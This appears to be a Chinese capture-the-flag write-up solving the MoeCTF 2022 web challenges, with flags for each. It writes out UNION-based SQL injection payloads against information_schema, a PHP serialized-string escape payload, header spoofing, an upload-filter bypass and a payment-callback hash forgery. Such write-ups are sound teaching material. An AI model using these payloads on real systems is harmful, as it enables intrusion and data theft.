MoeCTF 2022 Web 方向 Wp
前言 MoeCTF 2022 是西电为新生举办的 CTF 比赛,题目较为简单,但其中某些题目还是很有意思的,下文为 Web 方向的 Wp
ezhtml 根据题目描述,F12 改变 HTML 内容,使所有科目分数之和等于总分且超过 600 即可:
当然查看evil.js
也可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var sx = document .querySelector ('#sx' );var yw = document .querySelector ('#yw' );var wy = document .querySelector ('#wy' );var zh = document .querySelector ('#zh' );var zf = document .querySelector ('#zf' );var arr = [sx, yw, wy, zh];var flag = false ;function check ( ) { if (flag == true ) { clearInterval (timer); } var sum = 0 ; for (var i = 0 ; i < arr.length ; i++) { sum += eval (arr[i].innerHTML ); } if (sum == eval (zf.innerHTML ) && sum > 600 ) { alert ('moectf{W3lc0me_to_theWorldOf_Web!}' ); flag = true ; } } var timer = setInterval (check, 1000 );
拿到 flag:moectf{W3lc0me_to_theWorldOf_Web!}
web安全之入门指北 这个没什么说的,下载文件拿到 flag:moeCTF{g3t_aUthor1zed_bef0r3_PENTEST!}
cookiehead 修改 HTTP 头和 Cookie 即可,可以使用 Hacker Bar 等工具:
仅限本地访问
1 2 X-Forwarded-For 127.0 .0.1
You are not from http://127.0.0.1/index.php !
请先登录
拿到 flag:moectf{th1s_is_http_protocolllll}
God_of_Aim 玩玩游戏能拿到一半的 flag(moectf{Oh_you_can_a1m_
):
在 HTML 里看见提示:
再来看看aimtrainer.js
,发现一段和 flag 有关的 Js 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 checkflag1 ( ) { if (this [_0x78bd[4 ]] == this [_0x78bd[5 ]]) { this [_0x78bd[20 ]](); alert (_0x78bd[21 ]); alert (_0x78bd[22 ]); this [_0x78bd[23 ]]() } } checkflag2 ( ) { if (this [_0x78bd[4 ]] == this [_0x78bd[5 ]]) { this [_0x78bd[20 ]](); alert (_0x78bd[24 ]) } }
看到alert
,所以 F12 在控制台执行:
得到后半段 flag:and_H4ck_Javascript}
得到 flag:moectf{Oh_you_can_a1m_and_H4ck_Javascript}
What are you uploading 随便上传一个图片,回显:
1 我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!
但是直接上传f1ag.php
会被拦,很容易发现是前端对文件后缀做了检测,上传f1ag.png
使用 bp 把后缀名改成f1ag.php
:
得到 flag:moectf{A0_Qua1_D0ne!}
inclusion 打开题目发现:
1 2 3 4 5 6 7 8 9 10 11 12 <html> <title>Here's a secret. Can you find it?</title> <?php if(isset($_GET[' file'])){ $file = $_GET[' file']; include($file); }else{ highlight_file(__FILE__); } ?> </html>
很容易发现是文件包含,使用伪协议读取文件,先来使用 工具 扫描目录:
接下来使用伪协议读取 flag:
得到:
1 PD9waHANCkhleSBoZXksIHJlYWNoIHRoZSBoaWdoZXN0IGNpdHkgaW4gdGhlIHdvcmxkISBBY3R1YWxseSBJIGFtIGlrdW4hITsNCg0KbW9lY3Rme1kwdV9hcmVfdDAwX2JhYnlfbGF9Ow0KDQo/Pg==
这一串 Base64 解码:
1 2 3 4 5 6 <?php Hey hey, reach the highest city in the world! Actually I am ikun!!; moectf{Y0u_are_t00_baby_la}; ?>
得到 flag:moectf{Y0u_are_t00_baby_la}
sqlmap_boy 题目看来是 SQL 注入,在 HTML 里发现提示:
SQL 语句使用双引号闭合,尝试:
跳转到另一个页面,发现注入点?id=1
,很简单的注入,步骤如下:
确定闭合方法
1 2 3 ?id=1 ' // 报错 ?id=1" // 正常 ?id=1' -- -
闭合方式:单引号
确定字段数
1 2 ?id=1 ' order by 3 -- - // 正常 ?id=1' order by 4 -- -
字段数:3
确定回显位
1 ?id=-1 ' union select 1,2,3 -- -
看到回显位:2、3
爆库名
1 ?id=-1 ' union select 1,database(),3 -- -
得到 moectf
爆表名
1 ?id=-1 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
得到 articles, flag, users
爆字段
1 ?id=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=' moectf' and table_name=' flag' -- -
得到 flAg
获取 flag
1 ?id=-1 ' union select 1,group_concat(flAg),3 from flag -- -
获取 flag:moectf{Ar3_you_,sCr1ptboy}
ezphp 打开题目就看见了一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo 'the flag is : ' . $flag ;?>
是一道 PHP 变量覆盖的题目,添加注释后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo 'the flag is : ' . $flag ;?>
不是很绕,Payload(GET):
利用中间变量aaa
,得到 flag:moectf{Wa0g_Yi1g_Chu0}
baby_unserialize 一道 PHP 反序列化字符串逃逸的题目,先看源码,index.php
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php session_start ();highlight_file (__FILE__ );class moectf { public $a ; public $b ; public $token ='heizi' ; public function __construct ($r ,$s ) { $this ->a = $r ; $this ->b = $s ; } } $r = $_GET ['r' ];$s = $_GET ['s' ];if (isset ($r ) && isset ($s ) ){ $moe = new moectf ($r ,$s ); $emo = str_replace ('aiyo' , 'ganma' , serialize ($moe )); $_SESSION ['moe' ]=base64_encode ($emo ); }
这段代码接受两个参数,用它们实例化了一个对象moectf
,该类中有一个特殊的字段token
,就目前来说它是不可控的,然后序列化了它,把其中的aiyo
替换成了ganma
,编码后放在了$_SESSION
数组中,这个数组我们不可以直接控制也不能查看,因为它存储在服务器端,根据提示我们再来看另一段代码a.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php session_start ();highlight_file (__FILE__ );include ('flag.php' );class moectf { public $a ; public $b ; public $token ='heizi' ; public function __construct ($r ,$s ) { $this ->a = $r ; $this ->b = $s ; } } if ($_COOKIE ['moe' ] == 1 ){ $moe = unserialize (base64_decode ($_SESSION ['moe' ])); if ($moe ->token=='baizi' ){ echo $flag ; } }
我们能明显的发现,想拿到 flag,就必须使两个 if 成立,第一个好解决,我们直接设置 Cookie 就可以了,问题出在第二个判断语句,它解码后反序列化了我们上一步放在$_SESSION
里的元素moe
,并验证token
是不是等于baizi
,但是由index.php
可知token
是不可控字段,并且我们也没办法直接修改该数组的元素,这时候就要想到 PHP 的反序列化字符串逃逸:
这里你可以参考:浅谈php序列化字符串逃逸问题 的第一种情况:替换修改之后导致序列化字符串长度变长
,我就不在这里详细地说具体的原理了,Payload 如下:
1 aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo";s:1:" b";s:1:" 2 ";s:5:" token";s:5:" baizi";}
URL 编码后:
1 aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo%22 %3 Bs%3 A1%3 A%22 b%22 %3 Bs%3 A1%3 A%222 %22 %3 Bs%3 A5%3 A%22 token%22 %3 Bs%3 A5%3 A%22 baizi%22 %3 B%7 D
最终的 Payload(GET 提交到index.php
):
1 ?r=aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo%22 %3 Bs%3 A1%3 A%22 b%22 %3 Bs%3 A1%3 A%222 %22 %3 Bs%3 A5%3 A%22 token%22 %3 Bs%3 A5%3 A%22 baizi%22 %3 B%7 D&s=2
这里为了好理解,把替换前后序列化的结果写出来:
1 2 3 4 5 6 7 8 9 10 O:6 :"moectf" :3 :{s:1 :"a" ;s:215 :"aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo" ;s:1 :"b" ;s:1 :"2" ;s:5 :"token" ;s:5 :"baizi" ;}";s:1:" b";s:1:" 2 ";s:5:" token";s:5:" heizi";} // 替换后: O:6:" moectf":3:{s:1:" a";s:215:" ganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganma";s:1:" b";s:1:" 2 ";s:5:" token";s:5:" baizi";}" ;s:1 :"b" ;s:1 :"2" ;s:5 :"token" ;s:5 :"heizi" ;}
然后访问a.php
添加 Cookie:moe = 1
,就能获得 flag:moe{Her3_1s_Y0ur_fl4g}
支付系统 一上来就看见一堆代码(注释都是我加上的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 import osimport uuidfrom quart import Quart, render_template, redirect, jsonify, request, sessionfrom hashlib import pbkdf2_hmacfrom enum import IntEnumfrom tortoise import fieldsfrom tortoise.models import Modelfrom tortoise.contrib.quart import register_tortoisefrom httpx import AsyncClientapp = Quart(__name__) app.secret_key = os.urandom(16 ) class TransactionStatus (IntEnum ): SUCCESS = 0 PENDING = 1 FAILED = 2 TIMEOUT = 3 class Transaction (Model ): id = fields.IntField(pk=True ) user = fields.UUIDField() amount = fields.IntField() status = fields.IntEnumField(TransactionStatus) desc = fields.TextField() hash = fields.CharField(64 , null=True ) def __init__ (self, **kwargs ): super ().__init__() for k, v in kwargs.items(): self.__setattr__(k, v) async def do_callback (transaction: Transaction ): async with AsyncClient() as ses: transaction.status = int (TransactionStatus.FAILED) data = ( f'{transaction.id } ' f'{transaction.user} ' f'{transaction.amount} ' f'{transaction.status} ' f'{transaction.desc} ' ).encode() await ses.post(f'http://localhost:8000/callback' , data={ 'id' : transaction.id , 'user' : transaction.user, 'amount' : transaction.amount, 'desc' : transaction.desc, 'status' : transaction.status, 'hash' : pbkdf2_hmac('sha256' , data, app.secret_key, 2 **20 ).hex () }) @app.before_request async def create_session (): if 'uid' not in session: session['uid' ] = str (uuid.uuid4()) session['balance' ] = 0 for tr in await Transaction.filter (user=session['uid' ]).all (): if tr.status == TransactionStatus.SUCCESS: session['balance' ] += tr.amount @app.route('/pay' ) async def pay (): transaction = await Transaction.create( amount=request.args.get('amount' ), desc=request.args.get('desc' ), status=TransactionStatus.PENDING, user=uuid.UUID(session.get('uid' )) ) app.add_background_task(do_callback, transaction) return redirect(f'/transaction?id={transaction.id } ' ) @app.route('/callback' , methods=['POST' ] ) async def callback (): form = dict (await request.form) data = ( f'{form.get("id" )} ' f'{form.get("user" )} ' f'{form.get("amount" )} ' f'{form.get("status" )} ' f'{form.get("desc" )} ' ).encode() k = pbkdf2_hmac('sha256' , data, app.secret_key, 2 **20 ).hex () tr = await Transaction.get(id =int (form.pop('id' ))) if k != form.get("hash" ): return '403' form['status' ] = TransactionStatus(int (form.pop('status' ))) tr.update_from_dict(form) await tr.save() return 'ok' @app.route('/transaction' ) async def transaction (): if 'id' not in request.args: return '404' transaction = await Transaction.get(id =request.args.get('id' )) return await render_template('receipt.html' , transaction=transaction) @app.route('/flag' ) async def flag (): return await render_template( 'flag.html' , balance=session['balance' ], flag=os.getenv('FLAG' ), ) @app.route('/' ) @app.route('/index.html' ) async def index (): with open (__file__) as f: return await render_template('source-highlight.html' , code=f.read()) register_tortoise( app, db_url="sqlite://./data.db" , modules={"models" : [__name__]}, generate_schemas=True , ) if __name__ == '__main__' : app.run()
这段代码使用到了框架 Quart,它和 Flask 较为相似,是 Flask 微框架 API 的异步重新实现,我们先来做一次交易看看整个过程:
从图中发现交易失败了,这因为代码里函数 do_callback 把我们的transaction.status
设置为了 FAILED,因此 balance 不会加上本次交易的 amount,查看/flag
就会发现:
1 2 Your current balance: 0 You don't have enough money to buy a flag.
看来确实是这样,那自然就想到修改transaction.status
为 SUCCESS,来到/callback
修改transaction.status
:
不成功也很正常,因为我们修改了status
而没有修改 hash,而 hash 也是无法伪造的,因为我们不知道app.secret_key
,那只有仔细看代码,看看构造 hash 时有没有漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 data = ( f'{transaction.id } ' f'{transaction.user} ' f'{transaction.amount} ' f'{transaction.status} ' f'{transaction.desc} ' ).encode() await ses.post(f'http://localhost:8000/callback' , data={ 'id' : transaction.id , 'user' : transaction.user, 'amount' : transaction.amount, 'desc' : transaction.desc, 'status' : transaction.status, 'hash' : pbkdf2_hmac('sha256' , data, app.secret_key, 2 **20 ).hex () })
可以看出 hash 是对 data 运算产生的,这里请注意 data 的构造方法,可能不是很直观,举一个例子更好理解:
1 2 3 4 5 6 7 8 a = "123" b = 456 data = ( f'{a} ' f'{b} ' ) print (data)
打印的结果是123456
,这就有问题了,我们都知道对于同一个数据,它的哈希值总是相同的,那么在这里我们就可以随便修改 data 里的数据,只要保证 data 整体的值不变,它的哈希值就不变
更具体地来说,修改/callback
时传入的amount、status、desc
,使status
变为 0,而 data 整体不变:
1 2 3 route amount status desc data /pay 2000 2 2 200022 /callback 200 0 22 200022
重新创建一次交易,注意amount=2000&desc=2
:
修改这次交易,注意amount=200&status=0&desc=22
:
再次访问transaction?id=1687
发现交易成功:
访问/flag
:
获取 flag:moectf{b3c0me_s3nsit1v3_t0_bu9s}